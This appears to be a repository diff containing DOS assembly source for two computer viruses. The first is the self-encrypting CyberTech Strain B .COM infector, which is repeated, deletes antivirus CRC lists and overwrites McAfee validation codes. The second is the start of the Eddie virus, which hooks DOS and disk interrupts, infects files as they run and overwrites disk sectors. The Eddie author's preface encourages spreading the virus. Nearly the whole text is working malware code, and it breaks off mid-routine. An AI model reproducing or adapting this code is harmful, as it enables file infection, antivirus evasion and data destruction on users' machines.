Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,0fd1e[0] ; check if the file is
Cmp Ax,'OC' ; COMMAN?.COM (usually result
Jne NoCommand ; if COMMAND.COM)
Mov Ax,0fd1e[2] ;
Cmp Ax,'MM' ;
Jne NoCommand ;
Mov Ax,0fd1e[4] ;
Cmp Ax,'NA' ;
Jne NoCommand ;
Mov Ax,4202h ; Jump to EOF
Call Fseek ;
Cmp Ax,0f000h ; Check if file too large
Jae ExeFile
Cmp Ax,VirS ; Check if file to short
jbe ExeFile
Sub Ax,VirS
Xchg Cx,Dx
Mov Dx,4200h
Xchg Dx,Ax
Mov EOFminVir[BP],Dx
Int 21h
Mov Ah,3fh
Mov Dx,Offset Buffer
Mov Cx,VirS
Int 21h
Cld
Mov Si,Offset Buffer
Mov Cx,VirLen
On5:
Push Cx
On6: Lodsb
Cmp Al,0
Jne On4
Loop On6
On4: Cmp Cx,0
Je Found0
Pop Cx
Cmp Si,SeekLen
Jb On5
Jmp NoCommand
Found0: Pop Cx
Sub Si,Offset Buffer
Sub Si,Cx
Xor Cx,Cx
Mov Dx,EOFminVir[BP]
Add Dx,Si
Mov Ax,4200h
Int 21h
Jmp CalcVirus
EOFminVir Dw 0
NoCommand: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f000h ; Check if file too large
Jb NoExe1 ; if yes, goto exefile
Jmp ExeFile ;
NoExe1: Cmp Ax,10 ; Check if file too short
Ja NoExe2 ; if yes, goto exefile
Jmp ExeFile ;
NoExe2: Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1994
;
;Removed Db 13,10,'Virus removed : ',13,10
Removed Db 13,10,'Previous year you was infected by me, but now I am'
Db 13,10,'gone. Message to McAfee : do not group viruses, it is'
Db 13,10,'confusing, better use CARO standards for every virus.'
Db 13,10,'Also improve your scanner, so that I cannot simply switch'
Db 13,10,'2 lines of code in my decryptor and it is hidden again.'
Db 13,10,'Can virus scan strains be copyrighted, so that every'
Db 13,10,'scanner needs a seperate strain?',13,10
;
; Message when encryption byte = 0 or when we are living in 1994
;
Msg Db 13,10,'CyberTech Virus - Strain B-2'
Db 13,10,'(C) 1993 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
Buffer Equ 0f040h ; buffer offset
VirS Equ VirLen*2
SeekLen Equ Buffer+Virs
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+500
View File
@@ -0,0 +1,500 @@
;
; CyberTech Virus - Strain B John Tardy (C) 1993
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1993, the virus activates. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1994, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Di,Crypt[BP] ; Decrypt the virus with a
Mov Si,Di ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1993 is past time
Int 21h ; already
Cmp Cx,1994 ;
Jae Clean ; - 1994 or more
Jmp NoClean ; - Not 1994 or more
;
; Main Cleanup procedure
;
Clean: Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0 ;
Je Verder ;
Stosb ;
Loop Trans ;
Verder: Stosb
Sub Di,12
Push Cs
Pop Ds
Mov Ax,[Di][0] ;
Cmp Ax,'OC'
Jne Normal
Mov Ax,[Di][2]
Cmp Ax,'MM'
Jne Normal
Mov Ax,[Di][4]
Cmp Ax,'NA'
Jne Normal
Jmp Ready
Normal: Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Mov Ah,40h ; write memory image of host
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ; and shutdown virus
Lea Dx,Removed[Bp] ;
Int 21h ;
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,0fd1e[0] ; check if the file is
Cmp Ax,'OC' ; COMMAN?.COM (usually result
Jne NoCommand ; if COMMAND.COM)
Mov Ax,0fd1e[2] ;
Cmp Ax,'MM' ;
Jne NoCommand ;
Mov Ax,0fd1e[4] ;
Cmp Ax,'NA' ;
Jne NoCommand ;
Mov Ax,4202h ; Jump to EOF
Call Fseek ;
Cmp Ax,0f000h ; Check if file too large
Jae ExeFile
Cmp Ax,VirS ; Check if file to short
jbe ExeFile
Sub Ax,VirS
Xchg Cx,Dx
Mov Dx,4200h
Xchg Dx,Ax
Mov EOFminVir[BP],Dx
Int 21h
Mov Ah,3fh
Mov Dx,Offset Buffer
Mov Cx,VirS
Int 21h
Cld
Mov Si,Offset Buffer
Mov Cx,VirLen
On5:
Push Cx
On6: Lodsb
Cmp Al,0
Jne On4
Loop On6
On4: Cmp Cx,0
Je Found0
Pop Cx
Cmp Si,SeekLen
Jb On5
Jmp NoCommand
Found0: Pop Cx
Sub Si,Offset Buffer
Sub Si,Cx
Xor Cx,Cx
Mov Dx,EOFminVir[BP]
Add Dx,Si
Mov Ax,4200h
Int 21h
Jmp CalcVirus
EOFminVir Dw 0
NoCommand: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f000h ; Check if file too large
Jb NoExe1 ; if yes, goto exefile
Jmp ExeFile ;
NoExe1: Cmp Ax,10 ; Check if file too short
Ja NoExe2 ; if yes, goto exefile
Jmp ExeFile ;
NoExe2: Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1994
;
;Removed Db 13,10,'Virus removed : ',13,10
Removed Db 13,10,'Previous year you was infected by me, but now I am'
Db 13,10,'gone. Message to McAfee : do not group viruses, it is'
Db 13,10,'confusing, better use CARO standards for every virus.'
Db 13,10,'Also improve your scanner, so that I cannot simply switch'
Db 13,10,'2 lines of code in my decryptor and it is hidden again.'
Db 13,10,'Can virus scan strains be copyrighted, so that every'
Db 13,10,'scanner needs a seperate strain?',13,10
;
; Message when encryption byte = 0 or when we are living in 1994
;
Msg Db 13,10,'CyberTech Virus - Strain B-2'
Db 13,10,'(C) 1993 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
Buffer Equ 0f040h ; buffer offset
VirS Equ VirLen*2
SeekLen Equ Buffer+Virs
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+982
View File
@@ -0,0 +1,982 @@
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run. For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
